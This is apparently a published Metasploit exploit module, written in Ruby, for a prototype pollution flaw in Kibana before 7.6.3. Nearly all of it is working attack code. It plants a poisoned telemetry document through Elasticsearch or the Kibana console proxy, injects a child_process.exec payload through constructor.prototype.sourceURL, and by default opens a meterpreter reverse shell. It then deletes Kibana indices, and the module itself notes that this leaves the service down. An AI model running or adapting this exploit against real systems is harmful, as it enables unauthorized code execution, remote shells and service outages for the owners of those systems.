Kibana Prototype Pollution / Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ManualRanking # causes service to not respond until cleanup and reboot  include Msf::Exploit::Remote::HttpClient  # decided not to use autocheck since it doesn't work for both targets  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution',        'Description' => %q{          Kibana before version 7.6.3 suffers from a prototype pollution bug within the          Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're          able to execute arbitrary code.          Code execution is possible through two different ways. Either by sending data          directly to Elastic, or using Kibana to submit the same queries. Either method          enters the polluted prototype for Kibana to read.          Kibana will either need to be restarted, or collection happens (unknown time) for          the payload to execute. Once it does, cleanup must delete the .kibana_1 index          for Kibana to restart successfully. Once a callback does occur, cleanup will          happen allowing Kibana to be successfully restarted on next attempt.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis        ],        'References' => [          [ 'URL', 'https://hackerone.com/reports/852613'],        ],        'Privileged' => false,        'Arch' => [ ARCH_CMD ],        'Platform' => [ 'linux' ],        'Type' => :nix_cmd,        'DefaultOptions' => {          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',          'WfsDelay' => 1800 # 30min        },        'Targets' => [          [ 'ELASTIC', {}], # target kibana through a direct elastic connection          [ 'KIBANA', {}] # target kibana through the dev console to implant elastic data        ],        'DisclosureDate' => '2020-04-17',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot          'Reliability' => [],          'SideEffects' => [IOC_IN_LOGS]        }      )    )    register_options(      [        Opt::RPORT(9200), # default to elastic port, kibana is 5601        OptString.new('USERNAME', [ false, 'Elastic User to login with', '']),        OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']),        OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/'])      ]    )  end  # https://stackoverflow.com/a/4899857  def time_rand(from = Time.local(2020, 6, 28), to = Time.now)    Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z')    # outputs 2020-04-17T20:47:40.800Z format  end  # This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session  # it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case.  def kibana_cleanup    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),      'method' => 'POST',      'headers' => {        'kbn-xsrf' => @xsrf      },      'ctype' => 'application/json',      'vars_get' => {        'path' => '.kibana_1', # URI for the elastic request        'method' => 'DELETE' # method for the elastic query      }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  end  def elastic_cleanup    request = {      'uri' => normalize_uri(target_uri.path, '.kibana*'),      'method' => 'DELETE'    }    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?    res = send_request_cgi(request)    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  end  def execute_command    case target.name    when 'ELASTIC'      request = {        'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'),        'method' => 'PUT',        'ctype' => 'application/json',        'data' => telemetry_data.to_json      }      request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?      res = send_request_cgi(request)    when 'KIBANA'      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),        'method' => 'POST',        'headers' => {          'kbn-xsrf' => @xsrf        },        'ctype' => 'application/json',        'vars_get' => {          'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request          'method' => 'PUT' # method for the elastic query        },        'data' => telemetry_data.to_json      )    end    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201  end  def telemetry_data    {      'upgrade-assistant-telemetry' => {        'ui_open.overview' => 1,        'ui_open.cluster' => 1,        'ui_open.indices' => 1,        'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')"      },      'type' => 'upgrade-assistant-telemetry',      'updated_at' => time_rand    }  end  def kibana_create_index    # if the index already exists, this will fail which is fine, we just need it to exist.    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),      'method' => 'POST',      'ctype' => 'application/json',      'headers' => {        'kbn-xsrf' => @xsrf      },      'vars_get' => {        'path' => '.kibana_1', # URI for the elastic request        'method' => 'PUT' # method for the elastic query      }    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    if res.code == 400      vprint_status('Index already exists')      return    end    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  end  def elastic_create_index    request = {      'uri' => normalize_uri(target_uri.path, '.kibana_1'),      'method' => 'PUT'    }    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?    res = send_request_cgi(request)    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    if res.code == 400      vprint_status('Index already exists')      return    end    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  end  def kibana_send_mapping    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),      'method' => 'POST',      'ctype' => 'application/json',      'headers' => {        'kbn-xsrf' => @xsrf      },      'vars_get' => {        'path' => '.kibana_1/_mappings', # URI for the elastic request        'method' => 'PUT' # method for the elastic query      },      'data' => mapping_data.to_json    )    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  end  def elastic_send_mapping    request = {      'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'),      'method' => 'PUT',      'ctype' => 'application/json',      'data' => mapping_data.to_json    }    request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?    res = send_request_cgi(request)    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200  end  def mapping_data    {      'properties' => {        'upgrade-assistant-telemetry' => {          'properties' => {            'constructor' => {              'properties' => {                'prototype' => {                  'properties' => {                    'sourceURL' => {                      'type' => 'text',                      'fields' => {                        'keyword' => {                          'type' => 'keyword',                          'ignore_above' => 256                        }                      }                    }                  }                }              }            },            'features' => {              'properties' => {                'deprecation_logging' => {                  'properties' => {                    'enabled' => {                      'type' => 'boolean',                      'null_value' => true                    }                  }                }              }            },            'ui_open' => {              'properties' => {                'cluster' => {                  'type' => 'long',                  'null_value' => 0                },                'indices' => {                  'type' => 'long',                  'null_value' => 0                },                'overview' => {                  'type' => 'long',                  'null_value' => 0                }              }            },            'ui_reindex' => {              'properties' => {                'close' => {                  'type' => 'long',                  'null_value' => 0                },                'open' => {                  'type' => 'long',                  'null_value' => 0                },                'start' => {                  'type' => 'long',                  'null_value' => 0                },                'stop' => {                  'type' => 'long',                  'null_value' => 0                }              }            }          }        }      }    }  end  def check    if target == targets[0] # elastic      return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),      'method' => 'GET',      'keep_cookies' => true    )    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    # this pulls a big JSON blob that we need as it has the version    unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")    end    version_json = CGI.unescapeHTML(Regexp.last_match(1))    begin      json_body = JSON.parse(version_json)    rescue JSON::ParserError      return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")    end    return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?    @version = json_body['version']    if Rex::Version.new(@version) < Rex::Version.new('7.6.3')      return CheckCode::Appears("Exploitable Version Detected: #{@version}")    end    CheckCode::Safe("Unexploitable Version Detected: #{@version}")  end  def exploit    @clean = true    fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?    case target.name    when 'ELASTIC'      print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200      print_status('Creating index')      elastic_create_index      print_status('Sending index map')      elastic_send_mapping    when 'KIBANA'      print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601      # xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2      # https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3      @xsrf = 'kibana'      print_status('Creating index')      kibana_create_index      print_status('Sending index map')      kibana_send_mapping    end    print_status('Sending telemetry data with payload')    execute_command    print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)")  end  def cleanup    return unless @clean    if target.name == 'KIBANA'      print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1')      # kibana_cleanup      return    end    print_status('Removing telemetry data to prevent Kibana locking on restart')    elastic_cleanup  endend